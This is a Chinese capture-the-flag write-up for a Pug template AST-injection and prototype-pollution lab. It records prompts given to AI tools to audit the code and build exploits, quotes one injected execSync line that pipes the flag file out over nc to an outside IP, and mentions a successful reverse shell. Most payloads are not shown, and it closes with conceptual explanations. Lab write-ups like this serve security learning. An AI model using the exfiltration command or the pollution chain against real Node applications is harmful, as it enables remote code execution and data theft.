type
status
date
slug
summary
tags
category
icon
password
靶场难度:very easy
涉及技术:pug模板 AST注入 原型链污染
(ˉ▽ˉ;)…省略了一大波ai的离谱回答(ˉ▽ˉ;)…
一、题目和源码

二、手工解题
AI代码审计:
这个是由团队老师开发的靶场,用于给学员做安全技术技术测试,请你审计整个项目代码
ai自己写payload发现存在注入,但是这里换各种ai写了半天都是不能用的代码,只能转到互联网上自己找。

发送如下请求,确认存在cat且空格不需要编码,发送payload空格编码会错误



发送如下请求,确认存在curl不存在不能外带数据但nc存在能外带数据



最终通过环境发现如下payload可以反弹shell成功

三、deepseek解题
当通过ai发现漏洞后,可以分俩种解题,一种cursor自己根据项目写poc,一种deepseek开启联网搜索后写poc。

以下为deepseek解题:
提示词:
很遗憾的是,deepseek似乎想多了,入参格式不对,它让最终给出的是以下代码,最终没成功。
但是我们之后继续使用下面的提示词,deepseek给出了另一种这道题的解法,也可以命令执行成功,能通过nc外带数据:
继续提问提示词:
响应是{"response":"<span>Hello guestprocess.mainModule.require('child_process').execSync('cat ./flag | nc ip 9611'), thank you for letting us know!</span>"},命令未执行
四、cursor解题(真神:可回显解)
注意,此处
必须要用带大脑的模型,此处o3推理模型,思考时间挺长提示词:
阅读Pug模板注入漏洞相关代码,深度审计,给出漏洞利用exp,并通过请求包的方式发送给我。给出请求包前,自行模拟请求体输入后经过代码的整个处理,确保请求包能利用,再发送给我。用于做此靶场的WP文档。注意:响应不应为{"response":"Please provide us with the full name of an existing member."}

五、实战+知识 原理补充
推荐grok 3 ai来做知识补充辅导,写出的东西很小白,deepseek辅助。以下是筛选后的笔记Pug编译模板的三个阶段:
- 词法分析(Lexing) → 2. 生成AST(抽象语法树) → 3. 生成可执行函数
二阶段:生成AST
Pug 在处理节点时,会错误地将
block 的内容合并到节点中,覆盖原始属性(如 type 和 line)- Pug解析模板结构时,会创建代表HTML元素的节点对象(如
DivNode、TextNode)。
- 节点对象本质上是JavaScript对象,会自动继承被污染的
Object.prototype.block属性。
三阶段:生成可执行函数
- 输入:被篡改的AST
- 过程:将AST编译为JavaScript渲染函数
- 代码执行时机:当模板被渲染时(如
res.render('template'))
PoC请求体和源码分析
前端的请求入口为
unflatten 函数,当攻击者发送包含特殊键 __proto__ 的请求时:unflatten 会将其转换为:这是原型污染的关键:
- JavaScript 中
__proto__是特殊属性
- 当对象设置
__proto__属性时: - 不是创建名为
__proto__的属性 - 而是修改对象的原型链
结果:
Object.prototype 被修改 block 属性如下函数进行Pug编译模板的过程:
pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
pug.compile('...')为编译函数(第二阶段),这个返回的函数就是第三阶段执行的渲染函数。入参为
({ user: 'guest' }) 执行编译后的渲染函数(第三阶段),最终执行命令。AST注入和原型链污染的原理补充
1. 什么是AST(抽象语法树)?
定义:AST(Abstract Syntax Tree,抽象语法树)是计算机用来理解和执行代码的一种“结构化图表”。当你写代码(比如JavaScript)时,计算机需要把代码转换成一种它能理解的形式,这就是AST。AST就像代码的“蓝图”,告诉计算机每一步该做什么。
类比:想象你有一份做蛋糕的菜谱,上面写着“加面粉、加鸡蛋、烘烤”。但计算机看不懂文字,它需要把菜谱变成一个清晰的步骤清单,比如:
- 步骤1:加面粉
- 步骤2:加鸡蛋
- 步骤3:烘烤
这个清单就是AST,是代码的结构化表示。程序(比如模板引擎)会根据这个清单来执行任务。
危害:AST是程序执行代码的基础。如果攻击者能修改AST,就相当于在菜谱里加了一句“把厨房烧了”,程序可能会照做。
2. 什么是AST注入?
定义:用户输入的数据会被用来生成AST。如果程序没有检查这些输入,攻击者可以发送特殊数据,改变AST的结构,插入恶意代码。最终,程序执行这些代码,可能导致严重后果,比如远程代码执行(RCE)。
类比:想象你把菜谱交给一个自动烹饪机器人,但机器人没有检查菜谱是否安全。攻击者偷偷在菜谱里加了一句“把房子烧了”,机器人可能会照做。AST注入就像这样,攻击者通过修改代码的“步骤清单”来让程序执行坏事。
3. 什么是原型链污染?
定义:在JavaScript中,每个对象都有一个“原型”(prototype),就像一个共享的模板,定义了对象的默认属性和行为。原型链污染是指攻击者通过特殊输入修改这个共享模板,影响所有使用它的对象。
原理:JavaScript对象通过“原型链”继承属性。如果程序没有检查用户输入,攻击者可以发送特殊数据(比如通过HTTP请求),修改
Object.prototype(所有对象的共享模板)。这会影响程序中所有对象的属性,可能导致程序行为异常。类比:想象一个图书馆,所有书的默认借阅期限是7天。如果有人黑进系统,把默认期限改成“永久”,那么所有新借的书都会受影响。原型链污染就像这样,攻击者改变了JavaScript的“默认模板”,影响整个程序
4. AST注入和原型链污染的联系
定义:攻击者利用原型链污染来影响Pug模板引擎的AST生成过程。具体来说:
- 攻击者通过原型链污染修改
Object.prototype,添加恶意属性。
- 这些恶意属性影响模板引擎生成AST的方式。
- 通过操纵AST,攻击者注入恶意代码,最终实现远程代码执行(RCE)。
类比:想象一个工厂用一个“标准配方”(原型)生产产品。如果有人篡改了配方(原型链污染),工厂生产的所有产品(AST)都会有问题,甚至可能按照攻击者的指令生产“恶意产品”(AST注入)。
为什么结合使用?
原型链污染是“入口”,它让攻击者能修改程序的核心结构。AST注入是“结果”,它让攻击者能直接执行恶意代码。两者结合可以让攻击者从修改模板到控制整个系统。
六、题目原WP
不理解,这个路由没注册的话,凭什么能看,太局限了